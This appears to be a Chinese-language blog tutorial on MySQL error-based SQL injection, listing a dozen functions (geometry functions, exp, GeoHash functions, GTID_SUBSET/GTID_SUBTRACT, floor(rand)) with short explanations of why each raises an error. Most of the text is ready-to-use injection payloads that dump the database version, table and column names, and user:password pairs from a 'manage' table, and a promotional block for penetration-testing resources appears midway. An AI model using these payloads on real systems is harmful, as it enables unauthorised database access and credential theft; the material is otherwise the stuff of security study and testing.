1. geometrycollection() mysql版本5.5

(1)函数解释:

GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。

(2)官方文档中举例的用法如下:
GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))

(3)报错原因:

因为MYSQL无法使用这样的字符串画出图形,所以报错

#获取版本信息

1') and geometrycollection((select * from(select * from(select version())a)b)); %23

mysql 注入语句 mysql报错注入函数_数据


#获取当前表名

1') and geometrycollection((select * from(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)); %23

mysql 注入语句 mysql报错注入函数_字段_02


#获取manage表里的段名

1') and geometrycollection((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b)); %23

mysql 注入语句 mysql报错注入函数_sql_03


#获取字段里的数据

1') and geometrycollection((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23

mysql 注入语句 mysql报错注入函数_sql_04


2. multipoint() mysql版本5.5


(1)函数解释:
MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。

(2)报错原因:
同样是因为无法使用字符串画出图形与geometrycollection类似


#获取版本信息

1') and multipoint((select * from(select * from(select version())a)b)); %23

mysql 注入语句 mysql报错注入函数_数据_05


#获取当前表名

1') and multipoint((select * from(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a)b)); %23

mysql 注入语句 mysql报错注入函数_sql_06


#获取manage表里的段名

1') and multipoint((select * from(select * from(select column_name from information_schema.columns where table_name='manage' limit 0,1)a)b))

mysql 注入语句 mysql报错注入函数_sql_07


#获取字段里的数据

1)' and multipoint((select * from(select * from(select distinct concat(0x23,user,0x2a,password,0x23,name,0x23) FROM manage limit 0,1)a)b)); %23

mysql 注入语句 mysql报错注入函数_sql_08


3. polygon()

polygon来自希腊。 “Poly” 意味 “many” , “gon” 意味 “angle”.
Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。

') or polygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+


4. mutipolygon()

') or multipolygon((select * from(select * from(select (SELECT GROUP_CONCAT(user,':',password) from manage))asd)asd))--+


mysql 注入语句 mysql报错注入函数_字段_09


5. linestring

报错原理:
mysql的有些几何函数( 例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() )对参数要求为几何数据,若不满足要求则会报错,适用于5.1-5.5版本 (5.0.中存在但是不会报错)

#查询数据库名称

1') and linestring((select * from(select * from(select database())a)b))--+;

mysql 注入语句 mysql报错注入函数_字段_10


#获取表数据

1') and  linestring((select * from(select * from (select table_name from information_schema.tables where table_schema=database() limit 6,1)a)b))--+;

mysql 注入语句 mysql报错注入函数_sql_11


#获取manage里的段名

1') and linestring((select * from(select * from (select column_name from information_schema.columns where table_name = 'manage' limit 0,1)a)b))--+;

mysql 注入语句 mysql报错注入函数_sql_12


#获取字段数据

1') or linestring((select * from(select * from (select group_concat(user,':',`password`) from manage limit 0,32)a)b))--+;

mysql 注入语句 mysql报错注入函数_数据_13


6. multilinestring

【----帮助安全学习,所有资源获取处----】 ①18份渗透测试电子书
②安全攻防300页笔记
③30份安全攻防面试指南
④安全红队渗透工具包
⑤网络安全必备书籍
⑥99个漏洞实战案例

#查询数据库名称

1') and multilinestring((select * from(select * from(select database())a)b))--+;

mysql 注入语句 mysql报错注入函数_sql_14


#获取表数据

1') and multilinestring((select * from(select * from (select table_name from information_schema.tables where table_schema=database() limit 6,1)a)b))--+;

mysql 注入语句 mysql报错注入函数_mysql_15



#获取manage里的段名

1') and multilinestring((select * from(select * from (select column_name from information_schema.columns where table_name = 'manage' limit 0,1)a)b))--+;

mysql 注入语句 mysql报错注入函数_字段_16



#获取字段数据

1') or  multilinestring((select * from(select * from (select group_concat(user,':',`password`) from manage limit 0,32)a)b))--+;

mysql 注入语句 mysql报错注入函数_mysql_17


7. exp()

exp(x)       返回 e 的 x 次方

当 数据过大 溢出时报错,即 x > 709


注入payload

mail=') or exp(~(select * from (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))) as asd))--+


#关于 as asd

进行嵌套查询的时候子查询出来的的结果是作为一个派生表来进行上一级的查询的,所以子查询的结果必须要有一个别名

mysql 注入语句 mysql报错注入函数_字段_18


8. ST.LatFromGeoHash()(mysql>=5.7.x)


#payload

') or ST_LatFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+

9. ST.LongFromGeoHash(mysql>=5.7.x)()


#payload
#同 8 ,都使用了嵌套查询

') or ST_LongFromGeoHash((select * from(select * from(select (select (concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e))))a)b))--+

mysql 注入语句 mysql报错注入函数_字段_19


10. GTID (MySQL >= 5.6.X - 显错<=200)

0x01 GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

GTID的表现形式 -> GTID =
source_id:transaction_id其中source_id一般为数据库的uuid,transaction_id为事务ID,从1开始3E11FA47-71CA-11E1-9E33-C80AA9429562:23如上面的GTID可以看出该事务为UUID为3E11FA47-71CA-11E1-9E33-C80AA9429562的数据库的23号事务

GTID集合(一组全局事务标识符):
GTID集合为多个单GTID和一个范围内GTID的集合,他主要用于如下地方

  • gtid_executed 系统变量
  • gtid_purged系统变量
  • GTID_SUBSET() 和 GTID_SUBTRACT()函数

格式如下:

3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5

它代表uuid为3E11FA47-71CA-11E1-9E33-C80AA9429562的服务器的1到5号事务
也可以是这样

3E11FA47-71CA-11E1-9E33-C80AA9429562:1-3:11:47-49

他代表该服务器的1到3号,11号和47到49号事务

0X02 函数详解

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

  1. GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
  2. GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
    正常情况如下

GTID_SUBSET(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:23’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’)GTID_SUBTRACT(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25’)

0x03 注入过程( payload )

GTID_SUBSET函数

') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+


GTID_SUBTRACT

') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

mysql 注入语句 mysql报错注入函数_数据_20

函数都是那样,只是适用的版本不同


11. floor(8.x>mysql>5.0)


#获取数据库版本信息

')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

mysql 注入语句 mysql报错注入函数_字段_21


#获取当前数据库

')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

mysql 注入语句 mysql报错注入函数_mysql 注入语句_22


#获取表数据

')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

mysql 注入语句 mysql报错注入函数_mysql 注入语句_23

mysql 注入语句 mysql报错注入函数_sql_24


#获取manage表里的段名

')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

mysql 注入语句 mysql报错注入函数_字段_25


#获取字段里面的数据

1)获取数据的前部分

')or (select 1 from (select count(*),concat(mid(concat(0x23,(select group_concat(user,':',`password`) from manage),0x23),1,32),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ [前部分]

mysql 注入语句 mysql报错注入函数_sql_26


2)获取数据的后部分

')or (select 1 from (select count(*),concat(mid(concat(0x23,(select group_concat(user,':',`password`) from manage),0x23),26,32),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ [后部分]

mysql 注入语句 mysql报错注入函数_mysql_27

mysql 注入语句 mysql报错注入函数_数据_28


12. ST_Pointfromgeohash (mysql>5.7)


#获取数据库版本信息

')or  ST_PointFromGeoHash(version(),1)--+

mysql 注入语句 mysql报错注入函数_数据_29


#获取表数据

')or  ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

mysql 注入语句 mysql报错注入函数_sql_30


#获取manage表里的段名

')or  ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

mysql 注入语句 mysql报错注入函数_字段_31


#获取字段里面的数据

')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

mysql 注入语句 mysql报错注入函数_数据_32